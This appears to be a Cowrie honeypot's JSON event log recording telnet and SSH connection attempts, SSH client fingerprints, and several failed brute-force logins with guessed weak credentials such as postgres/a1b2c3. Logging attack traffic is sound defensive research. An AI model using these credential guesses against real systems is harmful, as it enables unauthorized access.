{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:06.301232Z","src_ip":"115.151.72.155","session":"0e9298cc38a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5e9afb44bd7","protocol":"telnet","message":"New connection: 137.184.155.248:38530 (10.17.0.5:23) [session: c5e9afb44bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:09.770618Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30a594e0475","protocol":"telnet","message":"New connection: 137.184.155.248:38534 (10.17.0.5:23) [session: c30a594e0475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:10.736523Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38546,"dst_ip":"10.17.0.5","dst_port":23,"session":"06dff71b34e1","protocol":"telnet","message":"New connection: 137.184.155.248:38546 (10.17.0.5:23) [session: 06dff71b34e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:11.722074Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":35585,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3aa9a234ca","protocol":"ssh","message":"New connection: 112.151.178.49:35585 (10.17.0.5:22) [session: af3aa9a234ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:19.863140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:19.868515Z","src_ip":"112.151.178.49","session":"af3aa9a234ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:20.075674Z","src_ip":"112.151.178.49","session":"af3aa9a234ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:20.925301Z","src_ip":"112.151.178.49","session":"af3aa9a234ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:22.131354Z","src_ip":"112.151.178.49","session":"af3aa9a234ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c1690fdae1","protocol":"telnet","message":"New connection: 137.184.155.248:55188 (10.17.0.5:23) [session: 77c1690fdae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:22.532120Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55202,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3fc3108bb9","protocol":"telnet","message":"New connection: 137.184.155.248:55202 (10.17.0.5:23) [session: cd3fc3108bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:24.832083Z"}
{"eventid":"cowrie.session.closed","duration":46.396316051483154,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:31.738735Z","src_ip":"137.184.155.248","session":"c599692f12db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55208,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1fe762951c4","protocol":"telnet","message":"New connection: 137.184.155.248:55208 (10.17.0.5:23) [session: d1fe762951c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:32.018379Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47510,"dst_ip":"10.17.0.5","dst_port":23,"session":"545e007fa699","protocol":"telnet","message":"New connection: 137.184.155.248:47510 (10.17.0.5:23) [session: 545e007fa699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:32.634564Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfa6c95136a","protocol":"telnet","message":"New connection: 137.184.155.248:47512 (10.17.0.5:23) [session: cbfa6c95136a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:33.218461Z"}
{"eventid":"cowrie.session.closed","duration":44.404741525650024,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:33.724536Z","src_ip":"137.184.155.248","session":"5e9c3ebac543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.23625373840332,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:34.364307Z","src_ip":"137.184.155.248","session":"c029fe946d57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.548933506011963,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:35.567194Z","src_ip":"137.184.155.248","session":"d1fe762951c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.13542938232422,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:35.923765Z","src_ip":"137.184.155.248","session":"3a15df1b9e09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9038045406341553,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:37.122167Z","src_ip":"137.184.155.248","session":"cbfa6c95136a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.029019355773926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:39.181828Z","src_ip":"137.184.155.248","session":"1d7c650978b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8ff53822e9","protocol":"telnet","message":"New connection: 137.184.155.248:47514 (10.17.0.5:23) [session: bb8ff53822e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:39.615667Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47522,"dst_ip":"10.17.0.5","dst_port":23,"session":"2843d4cd47b6","protocol":"telnet","message":"New connection: 137.184.155.248:47522 (10.17.0.5:23) [session: 2843d4cd47b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:40.154635Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59624,"dst_ip":"10.17.0.5","dst_port":23,"session":"493a2bdaa0b3","protocol":"telnet","message":"New connection: 137.184.155.248:59624 (10.17.0.5:23) [session: 493a2bdaa0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:42.788642Z"}
{"eventid":"cowrie.session.closed","duration":48.36330461502075,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:43.662540Z","src_ip":"137.184.155.248","session":"3cf0fc32c8cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1e556672bb","protocol":"telnet","message":"New connection: 137.184.155.248:59638 (10.17.0.5:23) [session: ee1e556672bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:44.052882Z"}
{"eventid":"cowrie.session.closed","duration":41.95595955848694,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:45.849245Z","src_ip":"137.184.155.248","session":"61073ebc24d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5c2d3d908d","protocol":"telnet","message":"New connection: 137.184.155.248:59642 (10.17.0.5:23) [session: 3e5c2d3d908d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:48.134558Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e6b495b9fc","protocol":"telnet","message":"New connection: 137.184.155.248:59652 (10.17.0.5:23) [session: e5e6b495b9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:49.052791Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59654,"dst_ip":"10.17.0.5","dst_port":23,"session":"9675c2403494","protocol":"telnet","message":"New connection: 137.184.155.248:59654 (10.17.0.5:23) [session: 9675c2403494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:49.186932Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"916ba3565612","protocol":"telnet","message":"New connection: 137.184.155.248:59670 (10.17.0.5:23) [session: 916ba3565612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:49.525958Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59674,"dst_ip":"10.17.0.5","dst_port":23,"session":"03de12084de6","protocol":"telnet","message":"New connection: 137.184.155.248:59674 (10.17.0.5:23) [session: 03de12084de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:50.108220Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cda86b9da5c","protocol":"telnet","message":"New connection: 137.184.155.248:59974 (10.17.0.5:23) [session: 4cda86b9da5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:52.576608Z"}
{"eventid":"cowrie.session.closed","duration":4.221212148666382,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:53.273893Z","src_ip":"137.184.155.248","session":"e5e6b495b9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.914618492126465,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:54.685140Z","src_ip":"137.184.155.248","session":"c5e9afb44bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59982,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d1ee066f06","protocol":"telnet","message":"New connection: 137.184.155.248:59982 (10.17.0.5:23) [session: 91d1ee066f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:57.016901Z"}
{"eventid":"cowrie.session.closed","duration":47.68005013465881,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:58.416408Z","src_ip":"137.184.155.248","session":"c30a594e0475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.86654806137085,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:59.588507Z","src_ip":"137.184.155.248","session":"06dff71b34e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0805af573401","protocol":"telnet","message":"New connection: 137.184.155.248:59996 (10.17.0.5:23) [session: 0805af573401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:00.855526Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60010,"dst_ip":"10.17.0.5","dst_port":23,"session":"3787d45e1c6c","protocol":"telnet","message":"New connection: 137.184.155.248:60010 (10.17.0.5:23) [session: 3787d45e1c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:01.758173Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3aaf015cab","protocol":"telnet","message":"New connection: 137.184.155.248:60012 (10.17.0.5:23) [session: cb3aaf015cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:01.876936Z"}
{"eventid":"cowrie.session.closed","duration":43.87280321121216,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:08.704638Z","src_ip":"137.184.155.248","session":"cd3fc3108bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.21084952354431,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:09.742831Z","src_ip":"137.184.155.248","session":"77c1690fdae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51596,"dst_ip":"10.17.0.5","dst_port":23,"session":"f118b4b47464","protocol":"telnet","message":"New connection: 137.184.155.248:51596 (10.17.0.5:23) [session: f118b4b47464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:11.717464Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51612,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b809d3b153","protocol":"telnet","message":"New connection: 137.184.155.248:51612 (10.17.0.5:23) [session: 62b809d3b153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:11.966283Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51618,"dst_ip":"10.17.0.5","dst_port":23,"session":"756d036813e3","protocol":"telnet","message":"New connection: 137.184.155.248:51618 (10.17.0.5:23) [session: 756d036813e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:12.227809Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":47818,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8e882ac534","protocol":"ssh","message":"New connection: 112.151.178.49:47818 (10.17.0.5:22) [session: 8b8e882ac534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:13.428752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:13.433666Z","src_ip":"112.151.178.49","session":"8b8e882ac534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:13.636954Z","src_ip":"112.151.178.49","session":"8b8e882ac534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user5","password":"user5","message":"login attempt [user5/user5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:14.489772Z","src_ip":"112.151.178.49","session":"8b8e882ac534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:15.696449Z","src_ip":"112.151.178.49","session":"8b8e882ac534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.349804878234863,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:16.577467Z","src_ip":"137.184.155.248","session":"756d036813e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.780596017837524,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:20.415062Z","src_ip":"137.184.155.248","session":"545e007fa699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6597043a77e0","protocol":"ssh","message":"New connection: 58.186.20.101:45010 (10.17.0.5:22) [session: 6597043a77e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:23.756876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:23.761499Z","src_ip":"58.186.20.101","session":"6597043a77e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46932,"dst_ip":"10.17.0.5","dst_port":23,"session":"66516ea8e10a","protocol":"telnet","message":"New connection: 137.184.155.248:46932 (10.17.0.5:23) [session: 66516ea8e10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:23.813191Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:24.013791Z","src_ip":"58.186.20.101","session":"6597043a77e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d7644dc8eba","protocol":"telnet","message":"New connection: 137.184.155.248:46934 (10.17.0.5:23) [session: 9d7644dc8eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:24.078982Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46948,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e62276cf4c0","protocol":"telnet","message":"New connection: 137.184.155.248:46948 (10.17.0.5:23) [session: 5e62276cf4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:24.365012Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"a1b2c3","message":"login attempt [postgres/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:25.058424Z","src_ip":"58.186.20.101","session":"6597043a77e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.21441674232483,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:25.368922Z","src_ip":"137.184.155.248","session":"2843d4cd47b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:26.317726Z","src_ip":"58.186.20.101","session":"6597043a77e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.4706220626831055,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:28.549494Z","src_ip":"137.184.155.248","session":"9d7644dc8eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.08371019363403,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:28.872240Z","src_ip":"137.184.155.248","session":"493a2bdaa0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.03119492530823,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:29.083972Z","src_ip":"137.184.155.248","session":"ee1e556672bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.5931978225708,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:29.208732Z","src_ip":"137.184.155.248","session":"bb8ff53822e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"4af202c79712","protocol":"ssh","message":"New connection: 61.155.106.101:38354 (10.17.0.5:22) [session: 4af202c79712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:29.837383Z"}
